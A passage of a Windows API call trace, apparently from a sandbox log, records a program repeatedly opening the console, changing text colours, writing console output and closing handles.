	[0087.504] WriteConsoleW (in: hConsoleOutput=0x23, lpBuffer=0x2c42fe8*, nNumberOfCharsToWrite=0x35, lpNumberOfCharsWritten=0x5eaefcc, lpReserved=0x0 | out: lpBuffer=0x2c42fe8*, lpNumberOfCharsWritten=0x5eaefcc*=0x35) returned 1
	[0087.533] GetLastError () returned 0xcb
	[0087.534] CloseHandle (hObject=0x23) returned 1
	[0087.534] GetLastError () returned 0xcb
	[0087.537] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23
	[0087.538] GetLastError () returned 0xcb
	[0087.538] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x23, lpConsoleScreenBufferInfo=0x5eaef7c | out: lpConsoleScreenBufferInfo=0x5eaef7c) returned 1
	[0087.538] GetLastError () returned 0xcb
	[0087.538] SetConsoleTextAttribute (hConsoleOutput=0x23, wAttributes=0x7) returned 1
	[0087.538] GetLastError () returned 0xcb
	[0087.538] CloseHandle (hObject=0x23) returned 1
	[0087.538] GetLastError () returned 0xcb
	[0087.541] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23
	[0087.541] GetLastError () returned 0xcb
	[0087.541] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x23, lpConsoleScreenBufferInfo=0x5eaef7c | out: lpConsoleScreenBufferInfo=0x5eaef7c) returned 1
	[0087.541] GetLastError () returned 0xcb
	[0087.541] SetConsoleTextAttribute (hConsoleOutput=0x23, wAttributes=0x7) returned 1
	[0087.541] GetLastError () returned 0xcb
	[0087.542] CloseHandle (hObject=0x23) returned 1
	[0087.542] GetLastError () returned 0xcb
	[0087.544] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23
	[0087.545] GetLastError () returned 0xcb
	[0087.545] GetConsoleMode (in: hConsoleHandle=0x23, lpMode=0x5eaf00c | out: lpMode=0x5eaf00c) returned 1
	[0087.545] GetLastError () returned 0xcb
	[0087.545] WriteConsoleW (in: hConsoleOutput=0x23, lpBuffer=0x2979f7c*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x5eaf00c, lpReserved=0x0 | out: lpBuffer=0x2979f7c*, lpNumberOfCharsWritten=0x5eaf00c*=0x1) returned 1
	[0087.545] GetLastError () returned 0xcb
	[0087.545] CloseHandle (hObject=0x23) returned 1
	[0087.545] GetLastError () returned 0xcb
	[0087.549] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23
	[0087.549] GetLastError () returned 0xcb
	[0087.549] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x23, lpConsoleScreenBufferInfo=0x5eaefd8 | out: lpConsoleScreenBufferInfo=0x5eaefd8) returned 1
	[0087.549] GetLastError () returned 0xcb
	[0087.549] GetConsoleOutputCP () returned 0x1b5
	[0087.549] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.549] GetLastError () returned 0xcb
	[0087.553] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x27
	[0087.553] GetLastError () returned 0xcb
	[0087.553] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x27, lpConsoleScreenBufferInfo=0x5eaef78 | out: lpConsoleScreenBufferInfo=0x5eaef78) returned 1
	[0087.553] GetLastError () returned 0xcb
	[0087.556] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b
	[0087.556] GetLastError () returned 0xcb
	[0087.556] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x2b, lpConsoleScreenBufferInfo=0x5eaef78 | out: lpConsoleScreenBufferInfo=0x5eaef78) returned 1
	[0087.556] GetLastError () returned 0xcb
	[0087.559] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f
	[0087.559] GetLastError () returned 0xcb
	[0087.559] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x2f, lpConsoleScreenBufferInfo=0x5eaef80 | out: lpConsoleScreenBufferInfo=0x5eaef80) returned 1
	[0087.560] GetLastError () returned 0xcb
	[0087.560] SetConsoleTextAttribute (hConsoleOutput=0x2f, wAttributes=0xc) returned 1
	[0087.560] GetLastError () returned 0xcb
	[0087.560] CloseHandle (hObject=0x2f) returned 1
	[0087.560] GetLastError () returned 0xcb
	[0087.563] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f
	[0087.564] GetLastError () returned 0xcb
	[0087.564] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x2f, lpConsoleScreenBufferInfo=0x5eaef80 | out: lpConsoleScreenBufferInfo=0x5eaef80) returned 1
	[0087.564] GetLastError () returned 0xcb
	[0087.564] SetConsoleTextAttribute (hConsoleOutput=0x2f, wAttributes=0xc) returned 1
	[0087.564] GetLastError () returned 0xcb
	[0087.564] CloseHandle (hObject=0x2f) returned 1
	[0087.564] GetLastError () returned 0xcb
	[0087.567] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f
	[0087.567] GetLastError () returned 0xcb
	[0087.567] GetConsoleMode (in: hConsoleHandle=0x2f, lpMode=0x5eaefcc | out: lpMode=0x5eaefcc) returned 1
	[0087.568] GetLastError () returned 0xcb
	[0087.568] WriteConsoleW (in: hConsoleOutput=0x2f, lpBuffer=0x2c4353c*, nNumberOfCharsToWrite=0x11, lpNumberOfCharsWritten=0x5eaefcc, lpReserved=0x0 | out: lpBuffer=0x2c4353c*, lpNumberOfCharsWritten=0x5eaefcc*=0x11) returned 1
	[0087.568] GetLastError () returned 0xcb
	[0087.568] CloseHandle (hObject=0x2f) returned 1
	[0087.568] GetLastError () returned 0xcb
	[0087.571] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f
	[0087.572] GetLastError () returned 0xcb
	[0087.572] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x2f, lpConsoleScreenBufferInfo=0x5eaef7c | out: lpConsoleScreenBufferInfo=0x5eaef7c) returned 1
	[0087.572] GetLastError () returned 0xcb
	[0087.572] SetConsoleTextAttribute (hConsoleOutput=0x2f, wAttributes=0x7) returned 1
	[0087.572] GetLastError () returned 0xcb
	[0087.572] CloseHandle (hObject=0x2f) returned 1
	[0087.572] GetLastError () returned 0xcb
	[0087.577] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f
	[0087.577] GetLastError () returned 0xcb
	[0087.577] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x2f, lpConsoleScreenBufferInfo=0x5eaef7c | out: lpConsoleScreenBufferInfo=0x5eaef7c) returned 1
	[0087.578] GetLastError () returned 0xcb
	[0087.578] SetConsoleTextAttribute (hConsoleOutput=0x2f, wAttributes=0x7) returned 1
	[0087.578] GetLastError () returned 0xcb
	[0087.578] CloseHandle (hObject=0x2f) returned 1
	[0087.578] GetLastError () returned 0xcb
	[0087.582] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f
	[0087.582] GetLastError () returned 0xcb
	[0087.582] GetConsoleMode (in: hConsoleHandle=0x2f, lpMode=0x5eaf00c | out: lpMode=0x5eaf00c) returned 1
	[0087.582] GetLastError () returned 0xcb
	[0087.582] WriteConsoleW (in: hConsoleOutput=0x2f, lpBuffer=0x2979f7c*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x5eaf00c, lpReserved=0x0 | out: lpBuffer=0x2979f7c*, lpNumberOfCharsWritten=0x5eaf00c*=0x1) returned 1
	[0087.582] GetLastError () returned 0xcb
	[0087.582] CloseHandle (hObject=0x2f) returned 1
	[0087.583] GetLastError () returned 0xcb
	[0087.586] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f
	[0087.587] GetLastError () returned 0xcb
	[0087.587] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x2f, lpConsoleScreenBufferInfo=0x5eaefd8 | out: lpConsoleScreenBufferInfo=0x5eaefd8) returned 1
	[0087.587] GetLastError () returned 0xcb
	[0087.587] GetConsoleOutputCP () returned 0x1b5
	[0087.587] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.587] GetLastError () returned 0xcb
	[0087.591] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33
	[0087.592] GetLastError () returned 0xcb
	[0087.592] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x33, lpConsoleScreenBufferInfo=0x5eaef78 | out: lpConsoleScreenBufferInfo=0x5eaef78) returned 1
	[0087.592] GetLastError () returned 0xcb
	[0087.596] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37
	[0087.597] GetLastError () returned 0xcb
	[0087.597] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x37, lpConsoleScreenBufferInfo=0x5eaef78 | out: lpConsoleScreenBufferInfo=0x5eaef78) returned 1
	[0087.597] GetLastError () returned 0xcb
	[0087.602] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b
	[0087.603] GetLastError () returned 0xcb
	[0087.603] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x3b, lpConsoleScreenBufferInfo=0x5eaef80 | out: lpConsoleScreenBufferInfo=0x5eaef80) returned 1
	[0087.603] GetLastError () returned 0xcb
	[0087.603] SetConsoleTextAttribute (hConsoleOutput=0x3b, wAttributes=0xc) returned 1
	[0087.603] GetLastError () returned 0xcb
	[0087.603] CloseHandle (hObject=0x3b) returned 1
	[0087.604] GetLastError () returned 0xcb
	[0087.611] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b
	[0087.612] GetLastError () returned 0xcb
	[0087.612] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x3b, lpConsoleScreenBufferInfo=0x5eaef80 | out: lpConsoleScreenBufferInfo=0x5eaef80) returned 1
	[0087.612] GetLastError () returned 0xcb
	[0087.612] SetConsoleTextAttribute (hConsoleOutput=0x3b, wAttributes=0xc) returned 1
	[0087.612] GetLastError () returned 0xcb
	[0087.612] CloseHandle (hObject=0x3b) returned 1
	[0087.612] GetLastError () returned 0xcb
	[0087.616] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b
	[0087.617] GetLastError () returned 0xcb
	[0087.617] GetConsoleMode (in: hConsoleHandle=0x3b, lpMode=0x5eaefcc | out: lpMode=0x5eaefcc) returned 1
	[0087.617] GetLastError () returned 0xcb
	[0087.617] WriteConsoleW (in: hConsoleOutput=0x3b, lpBuffer=0x2c43948*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5eaefcc, lpReserved=0x0 | out: lpBuffer=0x2c43948*, lpNumberOfCharsWritten=0x5eaefcc*=0x4f) returned 1
	[0087.617] GetLastError () returned 0xcb
	[0087.617] CloseHandle (hObject=0x3b) returned 1
	[0087.617] GetLastError () returned 0xcb
	[0087.621] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b
	[0087.622] GetLastError () returned 0xcb
	[0087.622] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x3b, lpConsoleScreenBufferInfo=0x5eaef7c | out: lpConsoleScreenBufferInfo=0x5eaef7c) returned 1
	[0087.622] GetLastError () returned 0xcb
	[0087.622] SetConsoleTextAttribute (hConsoleOutput=0x3b, wAttributes=0x7) returned 1
	[0087.622] GetLastError () returned 0xcb
	[0087.622] CloseHandle (hObject=0x3b) returned 1
	[0087.622] GetLastError () returned 0xcb
	[0087.628] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b
	[0087.628] GetLastError () returned 0xcb
	[0087.628] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x3b, lpConsoleScreenBufferInfo=0x5eaef7c | out: lpConsoleScreenBufferInfo=0x5eaef7c) returned 1
	[0087.628] GetLastError () returned 0xcb
	[0087.628] SetConsoleTextAttribute (hConsoleOutput=0x3b, wAttributes=0x7) returned 1
	[0087.629] GetLastError () returned 0xcb
	[0087.629] CloseHandle (hObject=0x3b) returned 1
	[0087.629] GetLastError () returned 0xcb
	[0087.633] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b
	[0087.633] GetLastError () returned 0xcb
	[0087.633] GetConsoleMode (in: hConsoleHandle=0x3b, lpMode=0x5eaf00c | out: lpMode=0x5eaf00c) returned 1
	[0087.633] GetLastError () returned 0xcb
	[0087.633] WriteConsoleW (in: hConsoleOutput=0x3b, lpBuffer=0x2979f7c*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x5eaf00c, lpReserved=0x0 | out: lpBuffer=0x2979f7c*, lpNumberOfCharsWritten=0x5eaf00c*=0x1) returned 1
	[0087.634] GetLastError () returned 0xcb
	[0087.634] CloseHandle (hObject=0x3b) returned 1
	[0087.634] GetLastError () returned 0xcb
	[0087.641] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b
	[0087.642] GetLastError () returned 0xcb
	[0087.642] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x3b, lpConsoleScreenBufferInfo=0x5eaefd8 | out: lpConsoleScreenBufferInfo=0x5eaefd8) returned 1
	[0087.642] GetLastError () returned 0xcb
	[0087.642] GetConsoleOutputCP () returned 0x1b5
	[0087.642] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.642] GetLastError () returned 0xcb
	[0087.648] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f
	[0087.648] GetLastError () returned 0xcb
	[0087.648] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x3f, lpConsoleScreenBufferInfo=0x5eaef78 | out: lpConsoleScreenBufferInfo=0x5eaef78) returned 1
	[0087.648] GetLastError () returned 0xcb
	[0087.654] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43
	[0087.654] GetLastError () returned 0xcb
	[0087.654] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x43, lpConsoleScreenBufferInfo=0x5eaef78 | out: lpConsoleScreenBufferInfo=0x5eaef78) returned 1
	[0087.654] GetLastError () returned 0xcb
	[0087.658] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47
	[0087.659] GetLastError () returned 0xcb
	[0087.659] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x47, lpConsoleScreenBufferInfo=0x5eaef80 | out: lpConsoleScreenBufferInfo=0x5eaef80) returned 1
	[0087.659] GetLastError () returned 0xcb
	[0087.659] SetConsoleTextAttribute (hConsoleOutput=0x47, wAttributes=0xc) returned 1
	[0087.659] GetLastError () returned 0xcb
	[0087.659] CloseHandle (hObject=0x47) returned 1
	[0087.659] GetLastError () returned 0xcb
	[0087.665] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47
	[0087.665] GetLastError () returned 0xcb
	[0087.665] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x47, lpConsoleScreenBufferInfo=0x5eaef80 | out: lpConsoleScreenBufferInfo=0x5eaef80) returned 1
	[0087.665] GetLastError () returned 0xcb
	[0087.666] SetConsoleTextAttribute (hConsoleOutput=0x47, wAttributes=0xc) returned 1
	[0087.666] GetLastError () returned 0xcb
	[0087.666] CloseHandle (hObject=0x47) returned 1
	[0087.666] GetLastError () returned 0xcb
	[0087.670] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47
	[0087.670] GetLastError () returned 0xcb
	[0087.670] GetConsoleMode (in: hConsoleHandle=0x47, lpMode=0x5eaefcc | out: lpMode=0x5eaefcc) returned 1
	[0087.670] GetLastError () returned 0xcb
	[0087.670] WriteConsoleW (in: hConsoleOutput=0x47, lpBuffer=0x2c43f0c*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5eaefcc, lpReserved=0x0 | out: lpBuffer=0x2c43f0c*, lpNumberOfCharsWritten=0x5eaefcc*=0x4f) returned 1
	[0087.670] GetLastError () returned 0xcb
	[0087.670] CloseHandle (hObject=0x47) returned 1
	[0087.671] GetLastError () returned 0xcb
	[0087.674] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47
	[0087.675] GetLastError () returned 0xcb
	[0087.675] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x47, lpConsoleScreenBufferInfo=0x5eaef7c | out: lpConsoleScreenBufferInfo=0x5eaef7c) returned 1
	[0087.675] GetLastError () returned 0xcb
	[0087.675] SetConsoleTextAttribute (hConsoleOutput=0x47, wAttributes=0x7) returned 1
	[0087.675] GetLastError () returned 0xcb
	[0087.675] CloseHandle (hObject=0x47) returned 1
	[0087.676] GetLastError () returned 0xcb
	[0087.679] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47
	[0087.679] GetLastError () returned 0xcb
	[0087.679] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x47, lpConsoleScreenBufferInfo=0x5eaef7c | out: lpConsoleScreenBufferInfo=0x5eaef7c) returned 1
	[0087.680] GetLastError () returned 0xcb
	[0087.680] SetConsoleTextAttribute (hConsoleOutput=0x47, wAttributes=0x7) returned 1
	[0087.680] GetLastError () returned 0xcb
	[0087.680] CloseHandle (hObject=0x47) returned 1
	[0087.680] GetLastError () returned 0xcb
	[0087.683] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47
	[0087.683] GetLastError () returned 0xcb
	[0087.683] GetConsoleMode (in: hConsoleHandle=0x47, lpMode=0x5eaf00c | out: lpMode=0x5eaf00c) returned 1
	[0087.684] GetLastError () returned 0xcb
	[0087.684] WriteConsoleW (in: hConsoleOutput=0x47, lpBuffer=0x2979f7c*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x5eaf00c, lpReserved=0x0 | out: lpBuffer=0x2979f7c*, lpNumberOfCharsWritten=0x5eaf00c*=0x1) returned 1
	[0087.684] GetLastError () returned 0xcb
	[0087.684] CloseHandle (hObject=0x47) returned 1
	[0087.684] GetLastError () returned 0xcb
	[0087.688] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47
	[0087.688] GetLastError () returned 0xcb
	[0087.688] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x47, lpConsoleScreenBufferInfo=0x5eaefd8 | out: lpConsoleScreenBufferInfo=0x5eaefd8) returned 1
	[0087.688] GetLastError () returned 0xcb
	[0087.688] GetConsoleOutputCP () returned 0x1b5
	[0087.688] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.688] GetLastError () returned 0xcb
	[0087.694] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b
	[0087.694] GetLastError () returned 0xcb
	[0087.694] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x4b, lpConsoleScreenBufferInfo=0x5eaef78 | out: lpConsoleScreenBufferInfo=0x5eaef78) returned 1
	[0087.694] GetLastError () returned 0xcb
	[0087.698] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f
	[0087.698] GetLastError () returned 0xcb
	[0087.698] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x4f, lpConsoleScreenBufferInfo=0x5eaef78 | out: lpConsoleScreenBufferInfo=0x5eaef78) returned 1
	[0087.698] GetLastError () returned 0xcb
	[0087.702] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53
	[0087.702] GetLastError () returned 0xcb
	[0087.702] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x53, lpConsoleScreenBufferInfo=0x5eaef80 | out: lpConsoleScreenBufferInfo=0x5eaef80) returned 1
	[0087.702] GetLastError () returned 0xcb
	[0087.702] SetConsoleTextAttribute (hConsoleOutput=0x53, wAttributes=0xc) returned 1
	[0087.702] GetLastError () returned 0xcb
	[0087.703] CloseHandle (hObject=0x53) returned 1
	[0087.703] GetLastError () returned 0xcb
	[0087.707] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53
	[0087.707] GetLastError () returned 0xcb
	[0087.707] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x53, lpConsoleScreenBufferInfo=0x5eaef80 | out: lpConsoleScreenBufferInfo=0x5eaef80) returned 1
	[0087.708] GetLastError () returned 0xcb
	[0087.708] SetConsoleTextAttribute (hConsoleOutput=0x53, wAttributes=0xc) returned 1
	[0087.708] GetLastError () returned 0xcb
	[0087.708] CloseHandle (hObject=0x53) returned 1
	[0087.708] GetLastError () returned 0xcb
	[0087.712] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53
	[0087.713] GetLastError () returned 0xcb
	[0087.713] GetConsoleMode (in: hConsoleHandle=0x53, lpMode=0x5eaefcc | out: lpMode=0x5eaefcc) returned 1
	[0087.713] GetLastError () returned 0xcb
	[0087.713] WriteConsoleW (in: hConsoleOutput=0x53, lpBuffer=0x2c444d0*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5eaefcc, lpReserved=0x0 | out: lpBuffer=0x2c444d0*, lpNumberOfCharsWritten=0x5eaefcc*=0x4f) returned 1
	[0087.713] GetLastError () returned 0xcb
	[0087.713] CloseHandle (hObject=0x53) returned 1
	[0087.714] GetLastError () returned 0xcb
	[0087.719] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53
	[0087.719] GetLastError () returned 0xcb
	[0087.719] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x53, lpConsoleScreenBufferInfo=0x5eaef7c | out: lpConsoleScreenBufferInfo=0x5eaef7c) returned 1
	[0087.720] GetLastError () returned 0xcb
	[0087.720] SetConsoleTextAttribute (hConsoleOutput=0x53, wAttributes=0x7) returned 1
	[0087.720] GetLastError () returned 0xcb
	[0087.720] CloseHandle (hObject=0x53) returned 1
	[0087.720] GetLastError () returned 0xcb
	[0087.725] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53
	[0087.725] GetLastError () returned 0xcb
	[0087.725] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x53, lpConsoleScreenBufferInfo=0x5eaef7c | out: lpConsoleScreenBufferInfo=0x5eaef7c) returned 1
	[0087.725] GetLastError () returned 0xcb
	[0087.725] SetConsoleTextAttribute (hConsoleOutput=0x53, wAttributes=0x7) returned 1
	[0087.726] GetLastError () returned 0xcb
	[0087.726] CloseHandle (hObject=0x53) returned 1
	[0087.726] GetLastError () returned 0xcb
	[0087.730] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53
	[0087.730] GetLastError () returned 0xcb
	[0087.730] GetConsoleMode (in: hConsoleHandle=0x53, lpMode=0x5eaf00c | out: lpMode=0x5eaf00c) returned 1
	[0087.730] GetLastError () returned 0xcb
